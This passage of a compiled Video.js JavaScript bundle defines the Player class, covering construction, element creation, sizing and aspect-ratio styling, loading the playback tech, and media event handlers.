  7990. var _tracksTextTrackListConverterJs2 = _interopRequireDefault(_tracksTextTrackListConverterJs);
  7991. var _tracksAudioTrackListJs = _dereq_('./tracks/audio-track-list.js');
  7992. var _tracksAudioTrackListJs2 = _interopRequireDefault(_tracksAudioTrackListJs);
  7993. var _tracksVideoTrackListJs = _dereq_('./tracks/video-track-list.js');
  7994. var _tracksVideoTrackListJs2 = _interopRequireDefault(_tracksVideoTrackListJs);
  7995. // Include required child components (importing also registers them)
  7996. var _techLoaderJs = _dereq_('./tech/loader.js');
  7997. var _techLoaderJs2 = _interopRequireDefault(_techLoaderJs);
  7998. var _posterImageJs = _dereq_('./poster-image.js');
  7999. var _posterImageJs2 = _interopRequireDefault(_posterImageJs);
  8000. var _tracksTextTrackDisplayJs = _dereq_('./tracks/text-track-display.js');
  8001. var _tracksTextTrackDisplayJs2 = _interopRequireDefault(_tracksTextTrackDisplayJs);
  8002. var _loadingSpinnerJs = _dereq_('./loading-spinner.js');
  8003. var _loadingSpinnerJs2 = _interopRequireDefault(_loadingSpinnerJs);
  8004. var _bigPlayButtonJs = _dereq_('./big-play-button.js');
  8005. var _bigPlayButtonJs2 = _interopRequireDefault(_bigPlayButtonJs);
  8006. var _controlBarControlBarJs = _dereq_('./control-bar/control-bar.js');
  8007. var _controlBarControlBarJs2 = _interopRequireDefault(_controlBarControlBarJs);
  8008. var _errorDisplayJs = _dereq_('./error-display.js');
  8009. var _errorDisplayJs2 = _interopRequireDefault(_errorDisplayJs);
  8010. var _tracksTextTrackSettingsJs = _dereq_('./tracks/text-track-settings.js');
  8011. var _tracksTextTrackSettingsJs2 = _interopRequireDefault(_tracksTextTrackSettingsJs);
  8012. var _modalDialog = _dereq_('./modal-dialog');
  8013. var _modalDialog2 = _interopRequireDefault(_modalDialog);
  8014. // Require html5 tech, at least for disposing the original video tag
  8015. var _techTechJs = _dereq_('./tech/tech.js');
  8016. var _techTechJs2 = _interopRequireDefault(_techTechJs);
  8017. var _techHtml5Js = _dereq_('./tech/html5.js');
  8018. var _techHtml5Js2 = _interopRequireDefault(_techHtml5Js);
  8019. /**
  8020. * An instance of the `Player` class is created when any of the Video.js setup methods are used to initialize a video.
  8021. * ```js
  8022. * var myPlayer = videojs('example_video_1');
  8023. * ```
  8024. * In the following example, the `data-setup` attribute tells the Video.js library to create a player instance when the library is ready.
  8025. * ```html
  8026. * <video id="example_video_1" data-setup='{}' controls>
  8027. * <source src="my-source.mp4" type="video/mp4">
  8028. * </video>
  8029. * ```
  8030. * After an instance has been created it can be accessed globally using `Video('example_video_1')`.
  8031. *
  8032. * @param {Element} tag The original video tag used for configuring options
  8033. * @param {Object=} options Object of option names and values
  8034. * @param {Function=} ready Ready callback function
  8035. * @extends Component
  8036. * @class Player
  8037. */
  8038. var Player = (function (_Component) {
  8039. _inherits(Player, _Component);
  8040. /**
  8041. * player's constructor function
  8042. *
  8043. * @constructs
  8044. * @method init
  8045. * @param {Element} tag The original video tag used for configuring options
  8046. * @param {Object=} options Player options
  8047. * @param {Function=} ready Ready callback function
  8048. */
  8049. function Player(tag, options, ready) {
  8050. var _this = this;
  8051. _classCallCheck(this, Player);
  8052. // Make sure tag ID exists
  8053. tag.id = tag.id || 'vjs_video_' + Guid.newGUID();
  8054. // Set Options
  8055. // The options argument overrides options set in the video tag
  8056. // which overrides globally set options.
  8057. // This latter part coincides with the load order
  8058. // (tag must exist before Player)
  8059. options = _objectAssign2['default'](Player.getTagSettings(tag), options);
  8060. // Delay the initialization of children because we need to set up
  8061. // player properties first, and can't use `this` before `super()`
  8062. options.initChildren = false;
  8063. // Same with creating the element
  8064. options.createEl = false;
  8065. // we don't want the player to report touch activity on itself
  8066. // see enableTouchActivity in Component
  8067. options.reportTouchActivity = false;
  8068. // If language is not set, get the closest lang attribute
  8069. if (!options.language) {
  8070. if (typeof tag.closest === 'function') {
  8071. var closest = tag.closest('[lang]');
  8072. if (closest) {
  8073. options.language = closest.getAttribute('lang');
  8074. }
  8075. } else {
  8076. var element = tag;
  8077. while (element && element.nodeType === 1) {
  8078. if (Dom.getElAttributes(element).hasOwnProperty('lang')) {
  8079. options.language = element.getAttribute('lang');
  8080. break;
  8081. }
  8082. element = element.parentNode;
  8083. }
  8084. }
  8085. }
  8086. // Run base component initializing with new options
  8087. _Component.call(this, null, options, ready);
  8088. // if the global option object was accidentally blown away by
  8089. // someone, bail early with an informative error
  8090. if (!this.options_ || !this.options_.techOrder || !this.options_.techOrder.length) {
  8091. throw new Error('No techOrder specified. Did you overwrite ' + 'videojs.options instead of just changing the ' + 'properties you want to override?');
  8092. }
  8093. this.tag = tag; // Store the original tag used to set options
  8094. // Store the tag attributes used to restore html5 element
  8095. this.tagAttributes = tag && Dom.getElAttributes(tag);
  8096. // Update current language
  8097. this.language(this.options_.language);
  8098. // Update Supported Languages
  8099. if (options.languages) {
  8100. (function () {
  8101. // Normalise player option languages to lowercase
  8102. var languagesToLower = {};
  8103. Object.getOwnPropertyNames(options.languages).forEach(function (name) {
  8104. languagesToLower[name.toLowerCase()] = options.languages[name];
  8105. });
  8106. _this.languages_ = languagesToLower;
  8107. })();
  8108. } else {
  8109. this.languages_ = Player.prototype.options_.languages;
  8110. }
  8111. // Cache for video property values.
  8112. this.cache_ = {};
  8113. // Set poster
  8114. this.poster_ = options.poster || '';
  8115. // Set controls
  8116. this.controls_ = !!options.controls;
  8117. // Original tag settings stored in options
  8118. // now remove immediately so native controls don't flash.
  8119. // May be turned back on by HTML5 tech if nativeControlsForTouch is true
  8120. tag.controls = false;
  8121. /*
  8122. * Store the internal state of scrubbing
  8123. *
  8124. * @private
  8125. * @return {Boolean} True if the user is scrubbing
  8126. */
  8127. this.scrubbing_ = false;
  8128. this.el_ = this.createEl();
  8129. // We also want to pass the original player options to each component and plugin
  8130. // as well so they don't need to reach back into the player for options later.
  8131. // We also need to do another copy of this.options_ so we don't end up with
  8132. // an infinite loop.
  8133. var playerOptionsCopy = _utilsMergeOptionsJs2['default'](this.options_);
  8134. // Load plugins
  8135. if (options.plugins) {
  8136. (function () {
  8137. var plugins = options.plugins;
  8138. Object.getOwnPropertyNames(plugins).forEach(function (name) {
  8139. if (typeof this[name] === 'function') {
  8140. this[name](plugins[name]);
  8141. } else {
  8142. _utilsLogJs2['default'].error('Unable to find plugin:', name);
  8143. }
  8144. }, _this);
  8145. })();
  8146. }
  8147. this.options_.playerOptions = playerOptionsCopy;
  8148. this.initChildren();
  8149. // Set isAudio based on whether or not an audio tag was used
  8150. this.isAudio(tag.nodeName.toLowerCase() === 'audio');
  8151. // Update controls className. Can't do this when the controls are initially
  8152. // set because the element doesn't exist yet.
  8153. if (this.controls()) {
  8154. this.addClass('vjs-controls-enabled');
  8155. } else {
  8156. this.addClass('vjs-controls-disabled');
  8157. }
  8158. // Set ARIA label and region role depending on player type
  8159. this.el_.setAttribute('role', 'region');
  8160. if (this.isAudio()) {
  8161. this.el_.setAttribute('aria-label', 'audio player');
  8162. } else {
  8163. this.el_.setAttribute('aria-label', 'video player');
  8164. }
  8165. if (this.isAudio()) {
  8166. this.addClass('vjs-audio');
  8167. }
  8168. if (this.flexNotSupported_()) {
  8169. this.addClass('vjs-no-flex');
  8170. }
  8171. // TODO: Make this smarter. Toggle user state between touching/mousing
  8172. // using events, since devices can have both touch and mouse events.
  8173. // if (browser.TOUCH_ENABLED) {
  8174. // this.addClass('vjs-touch-enabled');
  8175. // }
  8176. // iOS Safari has broken hover handling
  8177. if (!browser.IS_IOS) {
  8178. this.addClass('vjs-workinghover');
  8179. }
  8180. // Make player easily findable by ID
  8181. Player.players[this.id_] = this;
  8182. // When the player is first initialized, trigger activity so components
  8183. // like the control bar show themselves if needed
  8184. this.userActive(true);
  8185. this.reportUserActivity();
  8186. this.listenForUserActivity_();
  8187. this.on('fullscreenchange', this.handleFullscreenChange_);
  8188. this.on('stageclick', this.handleStageClick_);
  8189. }
  8190. /*
  8191. * Global player list
  8192. *
  8193. * @type {Object}
  8194. */
  8195. /**
  8196. * Destroys the video player and does any necessary cleanup
  8197. * ```js
  8198. * myPlayer.dispose();
  8199. * ```
  8200. * This is especially helpful if you are dynamically adding and removing videos
  8201. * to/from the DOM.
  8202. *
  8203. * @method dispose
  8204. */
  8205. Player.prototype.dispose = function dispose() {
  8206. this.trigger('dispose');
  8207. // prevent dispose from being called twice
  8208. this.off('dispose');
  8209. if (this.styleEl_ && this.styleEl_.parentNode) {
  8210. this.styleEl_.parentNode.removeChild(this.styleEl_);
  8211. }
  8212. // Kill reference to this player
  8213. Player.players[this.id_] = null;
  8214. if (this.tag && this.tag.player) {
  8215. this.tag.player = null;
  8216. }
  8217. if (this.el_ && this.el_.player) {
  8218. this.el_.player = null;
  8219. }
  8220. if (this.tech_) {
  8221. this.tech_.dispose();
  8222. }
  8223. _Component.prototype.dispose.call(this);
  8224. };
  8225. /**
  8226. * Create the component's DOM element
  8227. *
  8228. * @return {Element}
  8229. * @method createEl
  8230. */
  8231. Player.prototype.createEl = function createEl() {
  8232. var el = this.el_ = _Component.prototype.createEl.call(this, 'div');
  8233. var tag = this.tag;
  8234. // Remove width/height attrs from tag so CSS can make it 100% width/height
  8235. tag.removeAttribute('width');
  8236. tag.removeAttribute('height');
  8237. // Copy over all the attributes from the tag, including ID and class
  8238. // ID will now reference player box, not the video tag
  8239. var attrs = Dom.getElAttributes(tag);
  8240. Object.getOwnPropertyNames(attrs).forEach(function (attr) {
  8241. // workaround so we don't totally break IE7
  8242. // http://stackoverflow.com/questions/3653444/css-styles-not-applied-on-dynamic-elements-in-internet-explorer-7
  8243. if (attr === 'class') {
  8244. el.className = attrs[attr];
  8245. } else {
  8246. el.setAttribute(attr, attrs[attr]);
  8247. }
  8248. });
  8249. // Update tag id/class for use as HTML5 playback tech
  8250. // Might think we should do this after embedding in container so .vjs-tech class
  8251. // doesn't flash 100% width/height, but class only applies with .video-js parent
  8252. tag.playerId = tag.id;
  8253. tag.id += '_html5_api';
  8254. tag.className = 'vjs-tech';
  8255. // Make player findable on elements
  8256. tag.player = el.player = this;
  8257. // Default state of video is paused
  8258. this.addClass('vjs-paused');
  8259. // Add a style element in the player that we'll use to set the width/height
  8260. // of the player in a way that's still overrideable by CSS, just like the
  8261. // video element
  8262. if (_globalWindow2['default'].VIDEOJS_NO_DYNAMIC_STYLE !== true) {
  8263. this.styleEl_ = stylesheet.createStyleElement('vjs-styles-dimensions');
  8264. var defaultsStyleEl = Dom.$('.vjs-styles-defaults');
  8265. var head = Dom.$('head');
  8266. head.insertBefore(this.styleEl_, defaultsStyleEl ? defaultsStyleEl.nextSibling : head.firstChild);
  8267. }
  8268. // Pass in the width/height/aspectRatio options which will update the style el
  8269. this.width(this.options_.width);
  8270. this.height(this.options_.height);
  8271. //this.height(225);
  8272. this.fluid(this.options_.fluid);
  8273. this.aspectRatio(this.options_.aspectRatio);
  8274. // Hide any links within the video/audio tag, because IE doesn't hide them completely.
  8275. var links = tag.getElementsByTagName('a');
  8276. for (var i = 0; i < links.length; i++) {
  8277. var linkEl = links.item(i);
  8278. Dom.addElClass(linkEl, 'vjs-hidden');
  8279. linkEl.setAttribute('hidden', 'hidden');
  8280. }
  8281. // insertElFirst seems to cause the networkState to flicker from 3 to 2, so
  8282. // keep track of the original for later so we can know if the source originally failed
  8283. tag.initNetworkState_ = tag.networkState;
  8284. // Wrap video tag in div (el/box) container
  8285. if (tag.parentNode) {
  8286. tag.parentNode.insertBefore(el, tag);
  8287. }
  8288. // insert the tag as the first child of the player element
  8289. // then manually add it to the children array so that this.addChild
  8290. // will work properly for other components
  8291. Dom.insertElFirst(tag, el); // Breaks iPhone, fixed in HTML5 setup.
  8292. this.children_.unshift(tag);
  8293. this.el_ = el;
  8294. return el;
  8295. };
  8296. /**
  8297. * Get/set player width
  8298. *
  8299. * @param {Number=} value Value for width
  8300. * @return {Number} Width when getting
  8301. * @method width
  8302. */
  8303. Player.prototype.width = function width(value) {
  8304. return this.dimension('width', value);
  8305. };
  8306. /**
  8307. * Get/set player height
  8308. *
  8309. * @param {Number=} value Value for height
  8310. * @return {Number} Height when getting
  8311. * @method height
  8312. */
  8313. Player.prototype.height = function height(value) {
  8314. return this.dimension('height', value);
  8315. };
  8316. /**
  8317. * Get/set dimension for player
  8318. *
  8319. * @param {String} dimension Either width or height
  8320. * @param {Number=} value Value for dimension
  8321. * @return {Component}
  8322. * @method dimension
  8323. */
  8324. Player.prototype.dimension = function dimension(_dimension, value) {
  8325. var privDimension = _dimension + '_';
  8326. if (value === undefined) {
  8327. return this[privDimension] || 0;
  8328. }
  8329. if (value === '') {
  8330. // If an empty string is given, reset the dimension to be automatic
  8331. this[privDimension] = undefined;
  8332. } else {
  8333. var parsedVal = parseFloat(value);
  8334. if (isNaN(parsedVal)) {
  8335. _utilsLogJs2['default'].error('Improper value "' + value + '" supplied for for ' + _dimension);
  8336. return this;
  8337. }
  8338. this[privDimension] = parsedVal;
  8339. }
  8340. this.updateStyleEl_();
  8341. return this;
  8342. };
  8343. /**
  8344. * Add/remove the vjs-fluid class
  8345. *
  8346. * @param {Boolean} bool Value of true adds the class, value of false removes the class
  8347. * @method fluid
  8348. */
  8349. Player.prototype.fluid = function fluid(bool) {
  8350. if (bool === undefined) {
  8351. return !!this.fluid_;
  8352. }
  8353. this.fluid_ = !!bool;
  8354. if (bool) {
  8355. this.addClass('vjs-fluid');
  8356. } else {
  8357. this.removeClass('vjs-fluid');
  8358. }
  8359. };
  8360. /**
  8361. * Get/Set the aspect ratio
  8362. *
  8363. * @param {String=} ratio Aspect ratio for player
  8364. * @return aspectRatio
  8365. * @method aspectRatio
  8366. */
  8367. Player.prototype.aspectRatio = function aspectRatio(ratio) {
  8368. if (ratio === undefined) {
  8369. return this.aspectRatio_;
  8370. }
  8371. // Check for width:height format
  8372. if (!/^\d+\:\d+$/.test(ratio)) {
  8373. throw new Error('Improper value supplied for aspect ratio. The format should be width:height, for example 16:9.');
  8374. }
  8375. this.aspectRatio_ = ratio;
  8376. // We're assuming if you set an aspect ratio you want fluid mode,
  8377. // because in fixed mode you could calculate width and height yourself.
  8378. this.fluid(true);
  8379. this.updateStyleEl_();
  8380. };
  8381. /**
  8382. * Update styles of the player element (height, width and aspect ratio)
  8383. *
  8384. * @method updateStyleEl_
  8385. */
  8386. Player.prototype.updateStyleEl_ = function updateStyleEl_() {
  8387. if (_globalWindow2['default'].VIDEOJS_NO_DYNAMIC_STYLE === true) {
  8388. var _width = typeof this.width_ === 'number' ? this.width_ : this.options_.width;
  8389. var _height = typeof this.height_ === 'number' ? this.height_ : this.options_.height;
  8390. var techEl = this.tech_ && this.tech_.el();
  8391. if (techEl) {
  8392. if (_width >= 0) {
  8393. techEl.width = _width;
  8394. }
  8395. if (_height >= 0) {
  8396. techEl.height = _height;
  8397. }
  8398. }
  8399. return;
  8400. }
  8401. var width = undefined;
  8402. var height = undefined;
  8403. var aspectRatio = undefined;
  8404. var idClass = undefined;
  8405. // The aspect ratio is either used directly or to calculate width and height.
  8406. if (this.aspectRatio_ !== undefined && this.aspectRatio_ !== 'auto') {
  8407. // Use any aspectRatio that's been specifically set
  8408. aspectRatio = this.aspectRatio_;
  8409. } else if (this.videoWidth()) {
  8410. // Otherwise try to get the aspect ratio from the video metadata
  8411. aspectRatio = this.videoWidth() + ':' + this.videoHeight();
  8412. } else {
  8413. // Or use a default. The video element's is 2:1, but 16:9 is more common.
  8414. aspectRatio = '16:9';
  8415. }
  8416. // Get the ratio as a decimal we can use to calculate dimensions
  8417. var ratioParts = aspectRatio.split(':');
  8418. var ratioMultiplier = ratioParts[1] / ratioParts[0];
  8419. if (this.width_ !== undefined) {
  8420. // Use any width that's been specifically set
  8421. width = this.width_;
  8422. } else if (this.height_ !== undefined) {
  8423. // Or calulate the width from the aspect ratio if a height has been set
  8424. width = this.height_ / ratioMultiplier;
  8425. } else {
  8426. // Or use the video's metadata, or use the video el's default of 300
  8427. width = this.videoWidth() || 300;
  8428. }
  8429. if (this.height_ !== undefined) {
  8430. // Use any height that's been specifically set
  8431. height = this.height_;
  8432. } else {
  8433. // Otherwise calculate the height from the ratio and the width
  8434. height = width * ratioMultiplier;
  8435. }
  8436. // Ensure the CSS class is valid by starting with an alpha character
  8437. if (/^[^a-zA-Z]/.test(this.id())) {
  8438. idClass = 'dimensions-' + this.id();
  8439. } else {
  8440. idClass = this.id() + '-dimensions';
  8441. }
  8442. // Ensure the right class is still on the player for the style element
  8443. this.addClass(idClass);
  8444. stylesheet.setTextContent(this.styleEl_, '\n .' + idClass + ' {\n width: ' + width + 'px;\n height: ' + height + 'px;\n }\n\n .' + idClass + '.vjs-fluid {\n padding-top: ' + ratioMultiplier * 100 + '%;\n }\n ');
  8445. };
  8446. /**
  8447. * Load the Media Playback Technology (tech)
  8448. * Load/Create an instance of playback technology including element and API methods
  8449. * And append playback element in player div.
  8450. *
  8451. * @param {String} techName Name of the playback technology
  8452. * @param {String} source Video source
  8453. * @method loadTech_
  8454. * @private
  8455. */
  8456. Player.prototype.loadTech_ = function loadTech_(techName, source) {
  8457. // Pause and remove current playback technology
  8458. if (this.tech_) {
  8459. this.unloadTech_();
  8460. }
  8461. // get rid of the HTML5 video tag as soon as we are using another tech
  8462. if (techName !== 'Html5' && this.tag) {
  8463. _techTechJs2['default'].getTech('Html5').disposeMediaElement(this.tag);
  8464. this.tag.player = null;
  8465. this.tag = null;
  8466. }
  8467. this.techName_ = techName;
  8468. // Turn off API access because we're loading a new tech that might load asynchronously
  8469. this.isReady_ = false;
  8470. // Grab tech-specific options from player options and add source and parent element to use.
  8471. var techOptions = _objectAssign2['default']({
  8472. 'nativeControlsForTouch': this.options_.nativeControlsForTouch,
  8473. 'source': source,
  8474. 'playerId': this.id(),
  8475. 'techId': this.id() + '_' + techName + '_api',
  8476. 'videoTracks': this.videoTracks_,
  8477. 'textTracks': this.textTracks_,
  8478. 'audioTracks': this.audioTracks_,
  8479. 'autoplay': this.options_.autoplay,
  8480. 'preload': this.options_.preload,
  8481. 'loop': this.options_.loop,
  8482. 'muted': this.options_.muted,
  8483. 'poster': this.poster(),
  8484. 'language': this.language(),
  8485. 'vtt.js': this.options_['vtt.js']
  8486. }, this.options_[techName.toLowerCase()]);
  8487. if (this.tag) {
  8488. techOptions.tag = this.tag;
  8489. }
  8490. if (source) {
  8491. this.currentType_ = source.type;
  8492. if (source.src === this.cache_.src && this.cache_.currentTime > 0) {
  8493. techOptions.startTime = this.cache_.currentTime;
  8494. }
  8495. this.cache_.src = source.src;
  8496. }
  8497. // Initialize tech instance
  8498. var techComponent = _techTechJs2['default'].getTech(techName);
  8499. // Support old behavior of techs being registered as components.
  8500. // Remove once that deprecated behavior is removed.
  8501. if (!techComponent) {
  8502. techComponent = _componentJs2['default'].getComponent(techName);
  8503. }
  8504. this.tech_ = new techComponent(techOptions);
  8505. // player.triggerReady is always async, so don't need this to be async
  8506. this.tech_.ready(Fn.bind(this, this.handleTechReady_), true);
  8507. _tracksTextTrackListConverterJs2['default'].jsonToTextTracks(this.textTracksJson_ || [], this.tech_);
  8508. // Listen to all HTML5-defined events and trigger them on the player
  8509. this.on(this.tech_, 'loadstart', this.handleTechLoadStart_);
  8510. this.on(this.tech_, 'waiting', this.handleTechWaiting_);
  8511. this.on(this.tech_, 'canplay', this.handleTechCanPlay_);
  8512. this.on(this.tech_, 'canplaythrough', this.handleTechCanPlayThrough_);
  8513. this.on(this.tech_, 'playing', this.handleTechPlaying_);
  8514. this.on(this.tech_, 'ended', this.handleTechEnded_);
  8515. this.on(this.tech_, 'seeking', this.handleTechSeeking_);
  8516. this.on(this.tech_, 'seeked', this.handleTechSeeked_);
  8517. this.on(this.tech_, 'play', this.handleTechPlay_);
  8518. this.on(this.tech_, 'firstplay', this.handleTechFirstPlay_);
  8519. this.on(this.tech_, 'pause', this.handleTechPause_);
  8520. this.on(this.tech_, 'progress', this.handleTechProgress_);
  8521. this.on(this.tech_, 'durationchange', this.handleTechDurationChange_);
  8522. this.on(this.tech_, 'fullscreenchange', this.handleTechFullscreenChange_);
  8523. this.on(this.tech_, 'error', this.handleTechError_);
  8524. this.on(this.tech_, 'suspend', this.handleTechSuspend_);
  8525. this.on(this.tech_, 'abort', this.handleTechAbort_);
  8526. this.on(this.tech_, 'emptied', this.handleTechEmptied_);
  8527. this.on(this.tech_, 'stalled', this.handleTechStalled_);
  8528. this.on(this.tech_, 'loadedmetadata', this.handleTechLoadedMetaData_);
  8529. this.on(this.tech_, 'loadeddata', this.handleTechLoadedData_);
  8530. this.on(this.tech_, 'timeupdate', this.handleTechTimeUpdate_);
  8531. this.on(this.tech_, 'ratechange', this.handleTechRateChange_);
  8532. this.on(this.tech_, 'volumechange', this.handleTechVolumeChange_);
  8533. this.on(this.tech_, 'texttrackchange', this.handleTechTextTrackChange_);
  8534. this.on(this.tech_, 'loadedmetadata', this.updateStyleEl_);
  8535. this.on(this.tech_, 'posterchange', this.handleTechPosterChange_);
  8536. this.on(this.tech_, 'textdata', this.handleTechTextData_);
  8537. this.usingNativeControls(this.techGet_('controls'));
  8538. if (this.controls() && !this.usingNativeControls()) {
  8539. this.addTechControlsListeners_();
  8540. }
  8541. // Add the tech element in the DOM if it was not already there
  8542. // Make sure to not insert the original video element if using Html5
  8543. if (this.tech_.el().parentNode !== this.el() && (techName !== 'Html5' || !this.tag)) {
  8544. Dom.insertElFirst(this.tech_.el(), this.el());
  8545. }
  8546. // Get rid of the original video tag reference after the first tech is loaded
  8547. if (this.tag) {
  8548. this.tag.player = null;
  8549. this.tag = null;
  8550. }
  8551. };
  8552. /**
  8553. * Unload playback technology
  8554. *
  8555. * @method unloadTech_
  8556. * @private
  8557. */
  8558. Player.prototype.unloadTech_ = function unloadTech_() {
  8559. // Save the current text tracks so that we can reuse the same text tracks with the next tech
  8560. this.videoTracks_ = this.videoTracks();
  8561. this.textTracks_ = this.textTracks();
  8562. this.audioTracks_ = this.audioTracks();
  8563. this.textTracksJson_ = _tracksTextTrackListConverterJs2['default'].textTracksToJson(this.tech_);
  8564. this.isReady_ = false;
  8565. this.tech_.dispose();
  8566. this.tech_ = false;
  8567. };
  8568. /**
  8569. * Return a reference to the current tech.
  8570. * It will only return a reference to the tech if given an object with the
  8571. * `IWillNotUseThisInPlugins` property on it. This is try and prevent misuse
  8572. * of techs by plugins.
  8573. *
  8574. * @param {Object}
  8575. * @return {Object} The Tech
  8576. * @method tech
  8577. */
  8578. Player.prototype.tech = function tech(safety) {
  8579. if (safety && safety.IWillNotUseThisInPlugins) {
  8580. return this.tech_;
  8581. }
  8582. var errorText = '\n Please make sure that you are not using this inside of a plugin.\n To disable this alert and error, please pass in an object with\n `IWillNotUseThisInPlugins` to the `tech` method. See\n https://github.com/videojs/video.js/issues/2617 for more info.\n ';
  8583. _globalWindow2['default'].alert(errorText);
  8584. throw new Error(errorText);
  8585. };
  8586. /**
  8587. * Set up click and touch listeners for the playback element
  8588. *
  8589. * On desktops, a click on the video itself will toggle playback,
  8590. * on a mobile device a click on the video toggles controls.
  8591. * (toggling controls is done by toggling the user state between active and
  8592. * inactive)
  8593. * A tap can signal that a user has become active, or has become inactive
  8594. * e.g. a quick tap on an iPhone movie should reveal the controls. Another
  8595. * quick tap should hide them again (signaling the user is in an inactive
  8596. * viewing state)
  8597. * In addition to this, we still want the user to be considered inactive after
  8598. * a few seconds of inactivity.
  8599. * Note: the only part of iOS interaction we can't mimic with this setup
  8600. * is a touch and hold on the video element counting as activity in order to
  8601. * keep the controls showing, but that shouldn't be an issue. A touch and hold
  8602. * on any controls will still keep the user active
  8603. *
  8604. * @private
  8605. * @method addTechControlsListeners_
  8606. */
  8607. Player.prototype.addTechControlsListeners_ = function addTechControlsListeners_() {
  8608. // Make sure to remove all the previous listeners in case we are called multiple times.
  8609. this.removeTechControlsListeners_();
  8610. // Some browsers (Chrome & IE) don't trigger a click on a flash swf, but do
  8611. // trigger mousedown/up.
  8612. // http://stackoverflow.com/questions/1444562/javascript-onclick-event-over-flash-object
  8613. // Any touch events are set to block the mousedown event from happening
  8614. this.on(this.tech_, 'mousedown', this.handleTechClick_);
  8615. // If the controls were hidden we don't want that to change without a tap event
  8616. // so we'll check if the controls were already showing before reporting user
  8617. // activity
  8618. this.on(this.tech_, 'touchstart', this.handleTechTouchStart_);
  8619. this.on(this.tech_, 'touchmove', this.handleTechTouchMove_);
  8620. this.on(this.tech_, 'touchend', this.handleTechTouchEnd_);
  8621. // The tap listener needs to come after the touchend listener because the tap
  8622. // listener cancels out any reportedUserActivity when setting userActive(false)
  8623. this.on(this.tech_, 'tap', this.handleTechTap_);
  8624. };
  8625. /**
  8626. * Remove the listeners used for click and tap controls. This is needed for
  8627. * toggling to controls disabled, where a tap/touch should do nothing.
  8628. *
  8629. * @method removeTechControlsListeners_
  8630. * @private
  8631. */
  8632. Player.prototype.removeTechControlsListeners_ = function removeTechControlsListeners_() {
  8633. // We don't want to just use `this.off()` because there might be other needed
  8634. // listeners added by techs that extend this.
  8635. this.off(this.tech_, 'tap', this.handleTechTap_);
  8636. this.off(this.tech_, 'touchstart', this.handleTechTouchStart_);
  8637. this.off(this.tech_, 'touchmove', this.handleTechTouchMove_);
  8638. this.off(this.tech_, 'touchend', this.handleTechTouchEnd_);
  8639. this.off(this.tech_, 'mousedown', this.handleTechClick_);
  8640. };
  8641. /**
  8642. * Player waits for the tech to be ready
  8643. *
  8644. * @method handleTechReady_
  8645. * @private
  8646. */
  8647. Player.prototype.handleTechReady_ = function handleTechReady_() {
  8648. this.triggerReady();
  8649. // Keep the same volume as before
  8650. if (this.cache_.volume) {
  8651. this.techCall_('setVolume', this.cache_.volume);
  8652. }
  8653. // Look if the tech found a higher resolution poster while loading
  8654. this.handleTechPosterChange_();
  8655. // Update the duration if available
  8656. this.handleTechDurationChange_();
  8657. // Chrome and Safari both have issues with autoplay.
  8658. // In Safari (5.1.1), when we move the video element into the container div, autoplay doesn't work.
  8659. // In Chrome (15), if you have autoplay + a poster + no controls, the video gets hidden (but audio plays)
  8660. // This fixes both issues. Need to wait for API, so it updates displays correctly
  8661. if ((this.src() || this.currentSrc()) && this.tag && this.options_.autoplay && this.paused()) {
  8662. try {
  8663. delete this.tag.poster; // Chrome Fix. Fixed in Chrome v16.
  8664. } catch (e) {
  8665. _utilsLogJs2['default']('deleting tag.poster throws in some browsers', e);
  8666. }
  8667. this.play();
  8668. }
  8669. };
  8670. /**
  8671. * Fired when the user agent begins looking for media data
  8672. *
  8673. * @private
  8674. * @method handleTechLoadStart_
  8675. */
  8676. Player.prototype.handleTechLoadStart_ = function handleTechLoadStart_() {
  8677. // TODO: Update to use `emptied` event instead. See #1277.
  8678. this.removeClass('vjs-ended');
  8679. // reset the error state
  8680. this.error(null);
  8681. // If it's already playing we want to trigger a firstplay event now.
  8682. // The firstplay event relies on both the play and loadstart events
  8683. // which can happen in any order for a new source
  8684. if (!this.paused()) {
  8685. this.trigger('loadstart');
  8686. this.trigger('firstplay');
  8687. } else {
  8688. // reset the hasStarted state
  8689. this.hasStarted(false);
  8690. this.trigger('loadstart');
  8691. }
  8692. };
  8693. /**
  8694. * Add/remove the vjs-has-started class
  8695. *
  8696. * @param {Boolean} hasStarted The value of true adds the class the value of false remove the class
  8697. * @return {Boolean} Boolean value if has started
  8698. * @private
  8699. * @method hasStarted
  8700. */
  8701. Player.prototype.hasStarted = function hasStarted(_hasStarted) {
  8702. if (_hasStarted !== undefined) {
  8703. // only update if this is a new value
  8704. if (this.hasStarted_ !== _hasStarted) {
  8705. this.hasStarted_ = _hasStarted;
  8706. if (_hasStarted) {
  8707. this.addClass('vjs-has-started');
  8708. // trigger the firstplay event if this newly has played
  8709. this.trigger('firstplay');
  8710. } else {
  8711. this.removeClass('vjs-has-started');
  8712. }
  8713. }
  8714. return this;
  8715. }
  8716. return !!this.hasStarted_;
  8717. };
  8718. /**
  8719. * Fired whenever the media begins or resumes playback
  8720. *
  8721. * @private
  8722. * @method handleTechPlay_
  8723. */
  8724. Player.prototype.handleTechPlay_ = function handleTechPlay_() {
  8725. this.removeClass('vjs-ended');
  8726. this.removeClass('vjs-paused');
  8727. this.addClass('vjs-playing');
  8728. // hide the poster when the user hits play
  8729. // https://html.spec.whatwg.org/multipage/embedded-content.html#dom-media-play
  8730. this.hasStarted(true);
  8731. this.trigger('play');
  8732. };
  8733. /**
  8734. * Fired whenever the media begins waiting
  8735. *
  8736. * @private
  8737. * @method handleTechWaiting_
  8738. */
  8739. Player.prototype.handleTechWaiting_ = function handleTechWaiting_() {
  8740. var _this2 = this;
  8741. this.addClass('vjs-waiting');
  8742. this.trigger('waiting');
  8743. this.one('timeupdate', function () {
  8744. return _this2.removeClass('vjs-waiting');
  8745. });
  8746. };
  8747. /**
  8748. * A handler for events that signal that waiting has ended
  8749. * which is not consistent between browsers. See #1351
  8750. *
  8751. * @private
  8752. * @method handleTechCanPlay_
  8753. */
  8754. Player.prototype.handleTechCanPlay_ = function handleTechCanPlay_() {
  8755. this.removeClass('vjs-waiting');
  8756. this.trigger('canplay');
  8757. };
  8758. /**
  8759. * A handler for events that signal that waiting has ended
  8760. * which is not consistent between browsers. See #1351
  8761. *
  8762. * @private
  8763. * @method handleTechCanPlayThrough_
  8764. */
  8765. Player.prototype.handleTechCanPlayThrough_ = function handleTechCanPlayThrough_() {
  8766. this.removeClass('vjs-waiting');
  8767. this.trigger('canplaythrough');
  8768. };
  8769. /**
  8770. * A handler for events that signal that waiting has ended
  8771. * which is not consistent between browsers. See #1351
  8772. *
  8773. * @private
  8774. * @method handleTechPlaying_
  8775. */
  8776. Player.prototype.handleTechPlaying_ = function handleTechPlaying_() {
  8777. this.removeClass('vjs-waiting');
  8778. this.trigger('playing');
  8779. };
  8780. /**
